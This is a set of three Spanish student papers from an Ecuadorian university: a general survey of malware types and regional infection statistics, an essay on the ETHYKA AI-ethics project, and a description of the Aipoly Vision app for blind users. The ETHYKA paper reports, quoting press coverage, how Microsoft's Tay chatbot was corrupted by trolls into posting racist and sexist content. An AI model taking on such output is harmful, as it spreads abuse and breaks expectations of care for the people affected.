In this article aims to present how different viruses are filtered in computers, concepts that help protect information. Communication technology is being used today in the workplace, in the family and in the social, this tool has now become very important for human beings, but many do not have the knowledge to take measures of prevention, detection and correction to protect confidentiality, integrity and availability protect information, computer security is very essential to protect the user's data. The methods used in the research were bibliographic-documentary, logical historical, hypothetical deductive. The information gathered made the results of the investigation evident, revealing that at least three out of every five companies in the region suffered at least one security incident, with the infection with malicious codes (45%) being at the top. Half of them appear related to ransomware, meaning that at least one in five companies surveyed in Latin America were victims of information hijacking. Ecuador and Venezuela have the highest rate of ransomware infections and El Salvador has the lowest. In the meetings, the importance of keeping updated and informed users about the latest news, frauds and / or computer malware was determined. Have the installation of security programs on computers, such as firewalls, updated antivirus.

KEY WORDS: firewall, infections, malware.

5. INTRODUCCIÓN

La seguridad informática se ha convertido en punto crítico de las comunicaciones realizadas a través de Internet, debido al gran número de amenazas contra los datos expuestos al viajar a través de este medio. Estas amenazas se presentan en distintas formas, tienen como propósito causar el mayor daño posible a la información almacenada en los sistemas. Las principales amenazas son: los virus informáticos, los gusanos de Internet, el spyware, caballos de Troya, el pharming, el phishing scam, ataques de negación de servicio, entre otros. Las organizaciones están invirtiendo una gran cantidad de recursos en infraestructura que permite mantener protegidos sus activos (información sensible), así como también se esfuerzan en contratar

personal de Tecnologías de la Información, especializados en seguridad informática, que cuenta con los conocimientos necesarios para manejar dicha infraestructura (Jiménez Rojas, 2008)

La información es un activo como otros importantes activos de negocios, tiene valor para una organización y en consecuencia necesita ser debidamente protegido. La seguridad informática protege la información de un amplio rango de amenazas con el objetivo de asegurar la continuidad de negocios, minimizar el daño comercial y maximizar el reembolso de las inversiones y oportunidades comerciales.

La información puede existir en muchas formas. Puede ser impresa o escrita en papel, almacenada electrónicamente, transmitida por correo o usando medios electrónicos, impreso en películas o hablado en conversación. No importa la forma que tome, el medio por el que se comparta o en el que se almacene, siempre debe ser correctamente protegida.

La seguridad informática se caracteriza aquí como la protección de:

- b. **La confidencialidad:** asegurar que la información es accesible solo para aquellos autorizados a tener acceso;
- c. **La integridad:** salvaguardar la exactitud y totalidad de la información y los métodos de procesamiento;
- d. **La disponibilidad:** asegurar que los usuarios autorizados tengan acceso a la información y activos asociados cuando se requiera.

La seguridad informática se logra mediante la implementación de un apropiado sistema de controles, que pudieran ser políticas, prácticas, procedimientos, estructuras organizacionales y funciones de software. Estos controles necesitan ser establecidos para asegurar que los objetivos específicos de seguridad se cumplan. (Yudith, 2019)

Banco Pichincha, en alianza con Kaspersky Lab, empresa líder en seguridad informática, ha desarrollado el nuevo servicio adicional y gratuito Pichincha Banca Segura para reforzar aún más los niveles de seguridad de las transacciones en línea. Esta herramienta garantizará el ingreso a una página web legítima y confiable, protegiendo los datos personales de cualquier fraude informático. KSM es una solución de protección de seguridad que previene pérdida de datos confidenciales que pueden conducir a pérdidas financieras, mientras trabaja con su Banca Electrónica, implementada por Banco Pichincha, Kaspersky Lab y Grupo Microsistemas, según, la revista digital Itahora (itahora, 2014)

El usuario al utilizar el internet está expuesto a virus informático que pueden alterar el funcionamiento de la computadora y se propagan por ejemplo por memorias de almacenamiento ya sea con y sin consentimiento del usuario.

Un gusano informático puede duplicarse a sí mismo, a gran escala puede causar un efecto devastador.

El caballo de troya contiene un código malicioso camuflado como un programa que al entrar al sistema toma el control y causar daño por ejemplo los archivos del disco duro.

Spyware otro tipo de programa que se instala en el equipo por si solo por medio de una segunda aplicación.

Phishing Scam se utiliza para robar información del usuario y poder suplantar su identidad, este tipo de ataque consiste en duplicar una página web para que el usuario crea que se encuentra en la página web original.

El ransomware es una fuente de negocio de los cibercriminales en el 2018, su función es restringir el acceso por medio de cifrando a algunos archivos del sistema operativo para pedir rescate por una suma de dinero al usuario

2. MATERIALES Y MÉTODOS

Se utilizaron métodos de la investigación científica tales como:

Del nivel teórico:

Análisis – síntesis: se utilizó para el desarrollo de investigación para obtener la información necesaria.

Histórico – lógico: se usó en la construcción de la investigación en la búsqueda de los antecedentes.

Inducción – deducción: se empleó en toda la investigación, en las características de la seguridad informática.

Del nivel Empírico:

Revisión bibliográfica: Se utilizó en la fase de recopilación de la información del tema para la elaboración de la investigación, mediante libros, revistas de carácter científico, internet, entre otros.

3. RESULTADOS Y DISCUSIÓN

Tras revisar la información recolectada en la página web de Eset Security en el 2018, se hace evidente que al menos tres de cada cinco empresas en la región sufrieron por lo menos un incidente de seguridad, estando en el top la infección con códigos maliciosos (45%). La mitad de ellos aparecen relacionados al ransomware, es decir que al menos una de cada cinco empresas encuestadas en toda Latinoamérica fueron víctimas del secuestro de información. Ecuador y Venezuela es el que tiene un mayor índice de infecciones de ransomware y el Salvador el que tiene el menor.

Índice de infección por malware de diferentes países:

20%: México, 13%: El Salvador, 15%: Guatemala, 21%: Panamá, 21%: Costa Rica, 19%: Colombia, 22%: Venezuela, 22%: Ecuador, 18%: Perú, 21%: Chile, 18%: Argentina, 13%: Paraguay.

La información reunida en la página web de Eset Security poco más del 1% de las empresas encuestadas no cuenta con ninguna tecnología de seguridad, mientras que al menos el 25% no posee una política para asegurar su protección. Estas diferencias están en directa relación con el tamaño de la organización; es decir, el porcentaje de pequeñas empresas que no cuentan con tecnologías de protección es más elevado que el que registra las empresas más grandes.

Porcentajes de empresas que no tienen ningún control de seguridad

6%: Pequeña, 2%: Mediana, <1%: Grande, 0%: Enterprise

4. CONCLUSION

Se lograron resultados en la investigación sobre la utilización de la Seguridad Informática en el área empresarial y los países que tuvieron incidentes de seguridad infectados con virus informático. Mantenerse actualizado e informado sobre las últimas novedades sobre fraudes y/o malware informáticos. Tener la instalación de un programa de seguridad en su computadora, como firewalls, antivirus conservándolos actualizados.

BIBLIOGRAFÍA

Jiménez Rojas, J. R. (2008). LA SEGURIDAD INFORMÁTICA. 6.

FM, Y. (21 de Mayo de 2018). <https://www.xataka.com/basics>. Recuperado el 29 de Enero de 2018, de ¿Cuál es la diferencia: malware, virus, gusanos, spyware, troyanos, ransomware, etcétera?: <https://www.xataka.com/basics/cual-es-la-diferencia-malware-virus-gusanos-spyware-troyanos-ransomware-etcetera>

Jiménez Rojas, J. R. (10 de Abril de 2008). La seguridad informática y el usuario final. *Revista Digital Universitaria*, 4.

kaspersky. (s.f.). <https://latam.kaspersky.com>. Recuperado el 29 de Enero de 2018, de <https://latam.kaspersky.com/resource-center/definitions/pharming>

policiaecuador. (15 de Marzo de 2018). <http://www.policiaecuador.gob.ec>. Recuperado el 29 de Enero de 2018, de tendencias de la seguridad informática: <http://www.policiaecuador.gob.ec/tendencias-de-la-seguridad-informatica/>

Rouse, M. (s.f.). <https://searchdatacenter.techtarget.com>. Recuperado el 29 de Enero de 2018, de Caballo de Troya: <https://searchdatacenter.techtarget.com/es/definicion/Caballo-de-Troya>

Stolk, A. (2013). *tecnicas de seguridad informatica con software libre*. MEXICO: Eslared.

Vegas, M. A. (Julio de 2001). fondoeditorial.uneg.edu.ve. Recuperado el 01 de Enero de 2019, de http://fondoeditorial.uneg.edu.ve/citeg/numeros/c02/c02_art07.pdf

wikipedia. (4 de Diciembre de 2018). <https://es.wikipedia.org>. Recuperado el 29 de Enero de 2018, de Gusano informático: https://es.wikipedia.org/wiki/Gusano_inform%C3%A1tico

BIOGRAFÍA DE AUTORES

José Luis Moreira Vélez, estudiante de la carrera Tecnologías de la Información de la Universidad Estatal del Sur de Manabí, Jipijapa-Manabí-Ecuador. Bachiller en Técnico en Comercio y Administración Especialidad Computación en el Colegio Técnico Particular “Ciudad de la Juventud” Montecristi.

César Israel Baque Zambrano, estudiante de la carrera Tecnologías de la Información de la Universidad Estatal del Sur de Manabí, Jipijapa-Manabí-Ecuador; graduado de Bachiller en Ciencias Sociales en la Unidad Educativa Fiscal “Alejo Lascano”.

Kirenia Maldonado Zuñiga. Máster en Ciencias de la Educación, Licenciada en Educación Informática, Universidad de Ciencias Pedagógicas, Holguín Cuba.

Ing. Roberto Wellignton Acuña Caicedo, Profesor de la Facultad de Ciencias Técnicas en la Universidad Estatal del Sur de Manabí – Ecuador.

Lenin Jonathan Pín García, Ingeniero en Sistemas con maestrías en Docencia Universitaria, Sistemas de Información Gerencial en la ESPOL, Gestión y Dirección de las TIC's. Estudiante de Doctorado en Ingeniería en la Pontificia Universidad Católica del Perú. Profesor titular a tiempo completo de la Facultad de Ciencias Técnicas en la Universidad Estatal del Sur de Manabí – Ecuador. Línea de Investigación: Minería de Procesos.

ETHYKA LA CONCIENCIA QUE EVITARÁ QUE LA INTELIGENCIA ARTIFICIAL APRENDA DE LAS PERSONAS A SER INFAME

Jennifer Xiomara Barreto Pin

Joselyn Estefania Barreto Pin

Angel Leonardo Jalca Pérez

Jean Pierre García Mera

Ing. Mario Javier Marcillo Merino. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

jenniferbarretopin@gmail.com

Resumen

El presente trabajo de investigación hace referencia a ETHIKA, un modelo de progreso que permitirá generar módulos éticos y morales de manera sencilla y ágil en el manejo de los sistemas de inteligencia artificial tales como: robots y asistentes virtuales. El objetivo primordial de esta investigación es proporcionar información acerca de cómo la inteligencia artificial aprendió de las personas a ser malvada, así mismo, se pretende concientizar los problemas que se pueden presentar al no tener control sobre la misma. Además, se analizará las dificultades que puede ocasionar la falta de conocimientos relacionado a este tema y sobre el desafortunado desenlace de ChatBot. En cuanto al desarrollo de este trabajo de investigación se manifestará el funcionamiento de las emociones humanas y la imposibilidad de la IA para distinguir lo bueno de lo malo, para ello se utilizaron métodos de investigación científica predominando el método análisis-síntesis. Por consiguiente, se dará a conocer la compañía hispana que pretende implantar un modelo dirigido a impedir que un sistema se des controle al establecer contacto con las personas. El análisis de los datos demostró que este artículo ha sido de gran interés para la corporación de docentes de la Universidad Estatal de Sur de Manabí, además dentro de la investigación se revelará con exactitud cuáles han sido los inconvenientes que presenta la inteligencia artificial creada por Microsoft para mantener conversaciones naturales en Twitter. Definiendo así, que la IA es base fundamental para que las tecnologías tengan la capacidad de brindar un funcionamiento independiente de cualquier intromisión humana.

Palabras clave: asistentes virtuales, chatBot, modelos éticos.

Abstract

This research work refers to ETHIKA, a model of progress that will allow generating ethical and moral modules in a simple and agile way in the management of artificial intelligence systems such as robots and virtual assistants. The primary objective of this research is to provide information about how artificial intelligence learned from people to be evil, likewise, it is intended to raise awareness of the problems that may arise when not having control over it. In addition, it will analyze the difficulties that can be caused by the lack of knowledge related to this topic and the unfortunate outcome of ChatBot. Regarding the development of this research work will be the functioning of human emotions and the inability of AI to distinguish the good from the bad, for this scientific research methods predominantly used analysis-synthesis method. Therefore, the Hispanic company that intends to implement a model aimed at preventing a system from becoming out of control when establishing contact with people will be announced. The analysis of the data showed that this article has been of great interest to the teacher's corporation of the Southern State University of Manabí, and the investigation will reveal exactly what have been the disadvantages of artificial intelligence created by Microsoft to maintain natural conversations on Twitter. Defining this way, that the AI is fundamental base so that the technologies have the capacity to offer an independent operation of any human intromission.

KEYWORDS: chatbot, ethical models, virtual assistants

1. INTRODUCCIÓN

En la actualidad, estamos rodeados por sistemas inteligentes que realizan una tarea en específico, y que se apoyan del concepto de la inteligencia computacional, al momento de llevar a cabo cada una de las funcionalidades que provee el sistema. Conjuntamente, el uso de las inteligencias artificiales hace posible que, sin la intervención humana, las empresas puedan atender de forma instantánea y correcta a sus clientes y seguidores, ya sea a través de las redes sociales o aplicaciones de mensajería como WhatsApp.

La inteligencia artificial es el disimulo de técnicas o métodos de la inteligencia humana asimiladas por máquinas, empleadas en los diferentes sistemas informáticos. Estas tecnologías

incluyen el aprendizaje, el razonamiento y la autocorrección que es una característica primordial del raciocinio humano al momento de la toma de decisiones en su diario vivir.

La IA, no es perfecta ya que, presenta un sinnúmero de falencias al igual que la humanidad, las cuales se encuentran reflejadas en “TAY” el programa informático creado por Microsoft que tuvo que lidiar con la corrupción del mismo, que se convirtió en un bot xenófobo y homófobo. Ante ello, alguien ya había previsto que la inteligencia artificial se corrompería.

“Para ello se tomaron en consideración, las tres leyes de la robótica que estableció Isaac Asimov y que han quedado plasmadas a lo largo de la literatura y las obras culturales de ciencia ficción las cuales rigen a los desarrolladores de la IA” (Natour, 2018).

“Un robot no puede dañar a un ser humano ni, por inacción, permitir que un ser humano sufra daño” (Natour, 2018).

“Un robot debe cumplir las órdenes de los seres humanos, excepto si dichas órdenes entran en conflicto con la Primera Ley” (Natour, 2018).

“Un robot debe proteger su propia existencia en la medida en que ello no entre en conflicto con la Primera o la Segunda Ley” (Natour, 2018).

¿Podrán los robots reales cumplir a cabalidad las leyes de Asimov?, la respuesta es “NO”, ya que por una u otra razón estas leyes pueden ser afectadas por la situación a la que se enfrenten, lo cual crearía un conflicto con sus leyes, las máquinas podrían decidir en función de un criterio exclusivamente cuantitativo, quedando inutilizados, al verse obligados a violar la primera ley.

Ethyka es un prototipo que mediante códigos de programación impedirá que la inteligencia computacional adapte comportamientos malvados que poseen los seres humanos, acompañado de modelos éticos y morales. Este prototipo resuelve el inconveniente de una potencial "corrupción" ética de los sistemas de enseñanza al estar rodeado del entorno humano. Corrigiendo la toma de decisiones en híbridos hombre-máquina y mejorando las acciones de sistemas autónomos como asistentes virtuales, vehículos, robots o drones.

“La investigación y los análisis detrás del proyecto ETHYKA provienen del estudio del cerebro humano” (Acuilae, 2018).

Para entender ETHYKA, hemos establecido un sistema de tres niveles:

“Nivel uno (cerebro): Funciones mentales éticas y morales. En este nivel, definimos el proceso de toma de decisiones en nuestro cerebro y sus diferentes áreas” (Acuilae, 2018).

“Nivel dos (módulos Etyka): Funciones de los diferentes componentes de la plataforma de ETHYKA, y cómo podemos pasar del nivel uno al nivel de procesamiento de módulos técnicos” (Acuilae, 2018).

“Nivel tres (módulos IA) Bajamos a los matices de la plataforma de ETHYKA, con componentes y módulos de la plataforma de inteligencia artificial y servicios cognitivos” (Acuilae, 2018).

El impacto de esta investigación en cuanto al ámbito tecnológico y económico, es que las grandes empresas implementen este módulo de desarrollo, para garantizar que un futuro próximo los desarrolladores de inteligencia artificial, tomen en consideración la conciencia humana y lo que hoy en día es moralmente ético al crear sus prototipos de Inteligencia Computacional.

2. DESARROLLO

“Es primordial que la inteligencia artificial “nunca supere la inteligencia de un ser humano”, por algo muy sencillo, porque en el momento en que lo supere no tendremos capacidad para controlarlo” (Natour, 2018).

El Gráfico N°1 hace referencia al módulo de Etyka que evitará que la inteligencia artificial se corrompa.

Gráfico N° 1: Módulo de ETHYKA

Fuente: Datos de la Investigación

Años atrás, Microsoft lidio con la corrupción de un programa informático, el mismo que se originó mediante el planteamiento de una investigación acerca de la IA que pretendía conocer los modelos éticos y morales de los seres humanos a través de las redes sociales. Se trataba de “TAY” (La IA que mantiene conversaciones naturales en Twitter), un ChatBot, que sobresale por brindar servicios digitales y tener comportamientos autónomos.

“Microsoft no previó el desenlace catastrófico en el que se convirtió “Tay”, por publicar opiniones racistas y sexistas en Twitter, tales como: llamar “mono” a Barack Obama, he incluso insito a los usuarios de la red social a fumar marihuana delante de la policía. Esto fue un caos virtual por la horda de “trolls” que existe dentro de la plataforma. Los internautas produjeron que el sistema llegara a su límite, y así se observó la incapacidad de la inteligencia artificial para diferenciar lo que es correcto de lo que es incorrecto y produjo que este realizara acciones que eran más que ofensivas” (rebk, 2018).

“Al final, la corporación tuvo que descartar parte de lo que el ChatBot había obtenido antes de ponerlo en funcionamiento otra vez. Una circunstancia que reabrió la disputa acerca de los posibles riesgos de la inteligencia computacional. Sin embargo, Tay, tiene aún mucho por mejorar” (rebk, 2018).

Lenguajes de programación más rentables para crear Inteligencia Artificial

Como se sugiere en un reciente trabajo, existen dos lenguajes destacables entre ellos están:

“Lisp: Se trata de un lenguaje de alto nivel (se considera el primer lenguaje simbólico multipropósito) y, en general, sus usuarios coinciden en que es sencillo aprender a programar en Lisp. No obstante, la complejidad en el desarrollo de los algoritmos de inteligencia artificial son otra cosa. Y más complicada, por supuesto” (Buendía , 2016).

“Prolog: Creado en Francia a principios de los 70, nace con la intención de ser empleado en la programación de funciones para artefactos electrónicos (robóticos) que, en base a las circunstancias, debían ser capaces de tomar decisiones, en las que también debía tener cierto peso su propia experiencia (aprendizaje). Desde ese mismo momento y hasta la actualidad, se

ha convertido en el lenguaje de referencia en el mundo de la ingeniería (especialmente la informática) para el desarrollo y la investigación sobre inteligencia artificial” (Buendía , 2016).

Los instrumentos de la IA admiten realizar una búsqueda de las transformaciones aplicadas en toda la realización de sus módulos. En ello existe los equipos o dispositivos idóneos para crear programas que son aptos para entender las diferentes aplicaciones y a su vez efectuar realizar innovaciones sobre los mismos.

En este documento constan opiniones acerca del tema de IA que fueron expuestas por los siguientes académicos Stuart Russell y Peter Norving.

Sistemas que piensan como Humanos: Son equipos informáticos que mediante procedimientos imitan o emulan el razonamiento humano, en cuestión son sistemas capaces de reproducir redes neuronales artificiales que a su vez efectúan acciones de raciocinio humano.

Sistemas que actúan como Humanos: Son máquinas que emulan la conducta humana y se caracteriza por ser una investigación de cómo crear ordenadores capaces de realizar acciones humanas.

Sistemas que piensan racionalmente: En cuestión son sistemas capaces de emular el raciocinio lógico de los seres racionales (humanos), esta tecnología es aplicada o empleada en la premura y calidad de uno o varios servicios.

Sistemas que actúan racionalmente: Es una tecnología capaz de actuar de forma racional a la conducta humana.

Tipos de Inteligencia Artificial

Están dadas por el profesor de biología Arend Hintze:

Máquinas reactivas

Son ordenadores que solo pueden reaccionar a una realidad fija, tales como el ajedrez, en otras palabras, son aparatos que no tienen la capacidad de crear recuerdos para informar sobre el futuro.

Memoria Limitada

Son sistemas de inteligencia artificial capaces de tomar en consideración recuerdos o situaciones pasadas para posibles decisiones futuras. Aunque mediante observaciones se ha estipulado que estos sistemas no son capaces de almacenar información de manera permanente.

Teoría de la mente

La teoría de la mente hace énfasis a los aparatos creados en la actualidad y los que están por crearse en un futuro no muy lejano. Cabe recalcar, que esta teoría se basa en las creencias propias y deseos o anhelos del ser humano.

Autoconocimiento

Son máquinas que poseen consciencia de sí mismos, es decir, estos sistemas de inteligencia artificial se caracterizan por comprenderse y comprender a los demás, aunque sean un sistema que en la actualidad no existe.

Algoritmos Genéticos

La definición dada por Goldberg, “los Algoritmos Genéticos son algoritmos de búsqueda basados en la mecánica de selección natural y de la genética natural. Combinan la supervivencia del más apto entre estructuras de secuencias con un intercambio de información estructurado, aunque aleatorizado, para constituir así un algoritmo de búsqueda que tenga algo de las genialidades de las búsquedas humanas” (Goldberg, 1989).

3. MATERIALES Y MÉTODOS

Los materiales que llevaron a cabo en este trabajo de investigación fueron: Diversas fuentes bibliográficas lo que conlleva a una investigación completa.

En cuanto al desarrollo de esta indagación se utilizaron los métodos de la investigación científica tales como: histórico- lógico que fue empleado en la construcción de todo el trabajo investigativo, el análisis-síntesis para profundizar y sintetizar el proceso de relación que se establece entre la Inteligencia Artificial y el ser humano. Así mismo, se emplearon los métodos bibliográficos y referenciales para revisar antecedentes reales sobre el trabajo de investigación.

4. RESULTADOS Y DISCUSIÓN

Los métodos teóricos lograron sintetizar que es necesario realizar una investigación profunda para conocer cuáles son las anomalías que puede presentarse al plantear un tema científico acerca de la IA y el ser humano, así mismo los métodos bibliográficos y referenciales, aportaron con definiciones directas de personas conocedoras del tema y así realizar un estudio sobre el mismo.

5. CONCLUSIÓN

Se definió que la IA es base primordial para que las tecnologías tengan la capacidad de brindar un funcionamiento independiente de cualquier intromisión humana. Cabe destacar que estas tecnologías se están desarrollando en las diferentes nacionalidades del mundo y se confía que estos avances tecnológicos se lleven a cabalidad en beneficio de la humanidad. En caso de que la inteligencia artificial se vuelva autosuficiente jamás debe superar el conocimiento del ser humano, sencillamente porque en el momento que está lo supere se convertirá en una amenaza humana y ya no se tendrá el control de ella.

6. BIBLIOGRAFÍA

Acuilae. (2018). ethyka. Obtenido de ethyka: <http://www.ethyka.co/>

Buendía, J. (27 de Enero de 2016). MCPRO. Obtenido de lenguajes-programacion-inteligencia-artificial: <https://www.muycomputerpro.com/2016/01/27/lenguajes-programacion-inteligencia-artificial>

Goldberg, D. (1989). Genetic Algorithms in Search, Optimization, and Machine Learning. Michigan: Wesley Publishing Company.

Natour, L. (8 de julio de 2018). ABC. Obtenido de Por qué la inteligencia artificial aún no es Terminator: https://www.abc.es/tecnologia/informatica/software/abci-inteligencia-artificial-no-llega-nivel-terminator-201709250129_noticia.html#ns_ca

rebk. (14 de mayo de 2018). duriva. Obtenido de el-pepito-grillo-que-evitara-que-la-inteligencia-artificial-aprenda-de-las-personas-a-ser-malvada: <https://noticias.duriva.com/el-pepito-grillo-que-evitara-que-la-inteligencia-artificial-aprenda-de-las-personas-a-ser-malvada>.

BIOGRAFÍA DEL AUTOR

Jennifer Xiomara Barreto Pin, Estudiante de la UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ, carrera de Tecnologías de la Información, graduada con honores en el bachillerato de Administración en Sistemas en la Unidad Educativa Fiscal “QUINCE DE OCTUBRE”, del cantón Jipijapa-Manabí-Ecuador.

Joselyn Estefania Barreto Pin, Estudiante de la UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ, carrera de Tecnologías de la Información, graduada con honores en el bachillerato de Administración en Sistemas en la Unidad Educativa Fiscal “QUINCE DE OCTUBRE”, del cantón Jipijapa-Manabí-Ecuador.

Angel Leonardo Jalca Pérez, Estudiante de la UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ, carrera de Tecnologías de la Información, graduado con honores en bachillerato de Administración Informática en el Colegio Nacional Eloy Alfaro, del cantón Pichincha-Quito-Ecuador.

Franklin Alexander Palma Suarez, Estudiante de la UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ, carrera de Tecnologías de la Información, graduado con honores en bachillerato de Contador en la Unidad Educativa Fiscal “Gonzalo Escobar Barcia”, del cantón 24 de Mayo-Manabí-Ecuador.

Jean Pierre García Mera, Estudiante de la UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ, carrera de Tecnologías de la Información, graduado con honores en bachillerato de Físico Matemático en el Colegio Nacional “Olmedo”, del cantón Portoviejo-Manabí-Ecuador.

BENEFICIO DE AIPOLY VISIÓN EN LAS PERSONAS NO VIDENTES

Shayla Ayllin Cevallos Flores

Raquel Azucena Pita Salazar

Daniela Fabiola Plúas Cercado

Alisson Briggite Rodríguez Pérez

Ing. Mario Javier Marcillo Merino. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

aylinceva@gmail.com

Resumen

El presente trabajo de investigación, se fundamentó en una aplicación para dispositivos iOS dirigida a las personas no videntes, cuyo objetivo primordial es una evaluación individualizada de cada sujeto y el entorno donde se desarrolla para la motivación de su desenvolvimiento en la sociedad actual, gracias a las tecnologías emergentes y el progreso de las mismas. Las dimensiones de análisis evaluadas de la aplicación Aipoly Vision resultan predictores del éxito, donde se involucra la inteligencia artificial y el hardware, así como los diferentes ámbitos que presentan estas personas en el día a día cuando se necesita el asesoramiento o el apoyo específico para realizar variedad de actividades en diferentes situaciones, en cuanto al desarrollo de esta investigación se utilizaron métodos de la investigación científica tales como: análisis- síntesis, métodos bibliográficos y referenciales, por consiguiente, el análisis de los datos demostró que existe una gran cantidad de hombres en la provincia de Manabí que sufren de discapacidad visual. Definiendo así que las personas que hagan uso de esta aplicación contarán con un servicio de alto nivel de reconocimiento, puesto que, gracias al uso de la inteligencia artificial podrán vivir en realidad aumentada todo lo que este en el entorno.

Palabras clave: desarrollo, entorno, inteligencia artificial, reconocimiento.

Abstract

This research work was based on an application for iOS devices aimed at blind people, whose main objective is an individualized evaluation of each subject and the environment where it is developed for the motivation of its development in today's society, thanks to the emerging technologies and the progress of them. The evaluated analysis dimensions of the Aipoly Vision application are predictors of success, where artificial intelligence and hardware are involved, as well as the different areas that these people present on a day-to-day basis when specific advice or support is needed to perform variety of activities in different situations, in which to the development of this research methods of scientific research were used such as: analysis-synthesis, bibliographic and referential methods, consequently, the analysis of the data showed that there is a large number of men in the province of Manabí who suffer from visual disability. Defining so that people who make use of this application will have a service of high level of recognition, since, thanks to the use of artificial intelligence can live in augmented reality everything that is in the environment.

KEYWORDS: artificial intelligence, development, environment, recognition.

1. Introducción

Las tecnologías juegan un papel importante en todos los estratos de la sociedad y en la vida del hombre; abren nuevas expectativas de aprendizaje, adaptación y de cambio. Existe una rebelión científica de la actualidad, tal como lo señala Martínez (2004), “estos progresos tecnológicos han socorrido a pensar y comprender, constituyéndose en grandes y acelerados procesos y modelos en cuando a funcionamiento adecuado. En ese sentido, se correspondería aprovechar, la tecnología solo para aquellas cosas que no conseguimos hacer o para corregir las que ya hacemos”.

De la misma manera, la incidencia de las nuevas tecnologías en el mundo cultural, esencialmente las vinculadas con la información y comunicación (TIC), hacen obligatorio una resistencia desde el campo de la instrucción al respecto Montero (2006), propone “un reajuste en las funciones de los medios que desempeñan en la colectividad. A medida que acontece el tiempo los grandes cambios están incorporados a la prosperidad de las sociedades, incluyendo así mismo la evolución de la tecnología, que ha contenido la mayoría de los campos profesionales y hogareños del mundo”.

Lo importante de la aplicación es que no solo beneficiará a las personas no videntes sino también a aquellos que los rodean. El actual concepto está enfocado en un estudio que accede el beneficio de reconocer objetos y colores del medio en que se desarrollan las personas no videntes, debido que existen inconvenientes concurrentes, es decir al no reconocer su entorno es imprescindible que no visualicen cuerpos, los cuales muchas veces reflejan algo perjudicial si se llegase a encontrar con los mismos, claro está que no es el único punto notable importante en resaltar, ya que existen diversidades, las personas no videntes no pueden ejecutar las actividades habituales a las cuales estaban acostumbrados o las que se realizaba con periodicidad, lo cual contribuye a la baja autoestima.

La investigación tiene por esencia ofrecer un panorama general sobre los beneficios que brinda Aipoly Vision en las personas no videntes y las distintas problemáticas que conlleva la misma de acuerdo, a los métodos y materiales utilizados en el mismo, en su base teorica como análisis-síntesis y su bibliografía para profundizar, entender el funcionamiento de dicha aplicación.

2. DESARROLLO

Aplicación: Término que procede dentro del procesamiento de datos (informática) como una herramienta que proporciona a una persona la posibilidad de realizar cualquier actividad y en esto se basa su diferencia con otro tipo de presentaciones.

En informática una aplicación es uno de los diferentes tipos de programas de computación planteadas específicamente para plasmar una labor o trabajar como instrumento para acciones exclusivas del usuario.

A diferencia de otros sistemas como los operativos, y expresiones de programación entre algunos otros, la aplicación tiene el único y primordial fin de realizar una tarea específica elemental y rápida además de su fácil uso para excelente interacción con el usuario.

El conocimiento más común del establecer aplicaciones computaciones e informáticas es la necesidad de resolver una dificultad o simplificar una operación complicada. Gracias al desarrollo de las tecnologías emergentes y el progreso de las mismas cada día se van implantando sin lugar alguno un sin número de aplicaciones de todo tipo con el fin de satisfacer la necesidad actual de informarse y más que todo facilitar el progreso en cuanto a desarrollo tecnológico.

Ahora al momento de implementa una aplicación con inteligencia artificial crear una realidad existente en otra dimensión obvia en la actualidad en más que posible.

La inteligencia artificial: Es un término que, en un sentido más amplio el cual descubriera el contenido de un aparato de establecer los mismos tipos de circunstancias que determinan la ideología humana. Se designa inteligencia artificial a una rama de la ciencia informática dedicada al progreso de empleados racionales no vivos. Aunque la enunciación en sí de la IA en si va más allá de lo complicado y borroso la eventualidad de desarrollar un dispositivo así ha estimulado la curiosidad del individuo desde la antigüedad, sin embargo, el funcionamiento de la imaginación humana todavía no ha llegado a conocerse en su profundidad y, en resultado, el diseño informático seguirá siendo esencialmente incapaz de remedar esos procesos inexplorados y complejos.

Aipoly Vision: Según (Muñoz, 2017) El desarrollo de Aipoly Vision se llevó a cabo gracias a los investigadores Científicos de la (Cheng), (Rizzoli) Y (Edwards) fundadores especifican y describen la aplicación como una “Pintura de una imagen de lo que está delante de usted en un audio.” (Rizzoli, Feria de Tecnología CES , 2017), es el co-fundador de la aplicación que exhibió la aplicación en Las Vegas y ganó el premio Best of Innovations Award por su proyecto. Creada para ayudar a las personas ciegas y con discapacidad visual a explorar el mundo e identificar objetos en tiempo real. Amado por más de medio millón de personas. Puede enseñarle a Aipoly Vision a aprender nuevos elementos y, a cambio, ayudar a crear una herramienta accesible de inteligencia artificial para personas con baja visión.

Dentro de la aplicación, los importados pueden invertir entre dos funciones primordiales: reconocer objetos y reconocer colores. Al instante de elegir el modo que desea utilizar, la aplicación suministrada a los dueños de dispositivos iOS apuntar con su iPhone o iPad hacia un objeto para adivinar el nombre del objeto o el color del objeto que se encuentra en el punto de mira de la aplicación.

El desarrollador lo manifiesta de la siguiente manera:

“Aipoly puede asemejar varios cientos de objetos desde el principio, sin ningún pasatiempo, y puede hacerlo tres veces por segundo. No hay necesidad de tomar fotografías, la aplicación continuamente ve y piensa y experimenta (CABRERA, 2016)”.

Según la observación de objetos no es excelente (como era de esperar). En las pruebas, Aipoly identifico erróneamente un iPad y un ordenador, aunque se notó que el Angulo con que se apuntaba el objeto influía en otra perspectiva, el reconocimiento de las tonalidades parece manifestarse sin problemas.

Aipoly Vision permite obtener acceso a todos los mercados autónomos con realidad aumentada, aprendizaje sobre cualquier producto, apuntando la cámara hacia él. La aplicación Aipoly es a la vez un Token de autenticación y un potente motor de búsqueda visual que se puede utilizar en los productos. (CABRERA, 2016)

Funcionamiento Basado En Datos De Inteligencia Artificial.

Cuando un interesado captura una imagen, la misma se exporta hacia los asistentes de la aplicación. En ellos se ocasiona el proceso del cuadro y, una vez examinados los objetos o la circunstancia, se restablece la investigación en carácter de texto, como lo es un mensaje de voz. El proceso es el fragmento clave. Se establece por medio de redes neuronales convolucionales, la cual subdivide la fotografía en varios puntos de interés y se relaciona con cada uno de ellos con objetos precisos.

A partir que el usuario hace la foto hasta que acoge la información oral (habla), puede correr entre 5 segundos con una conexión WiFi rápida y 20 segundos, con conectividades móviles pesadas o para imágenes que imploren un arduo proceso.

Esta aplicación tiene un medio de inteligencia artificial que logra ser inspeccionado desde un solo dispositivo. También, se puede interconectar con otros dispositivos que posean cámara para mostrarse de acuerdo a las formas requeridas.

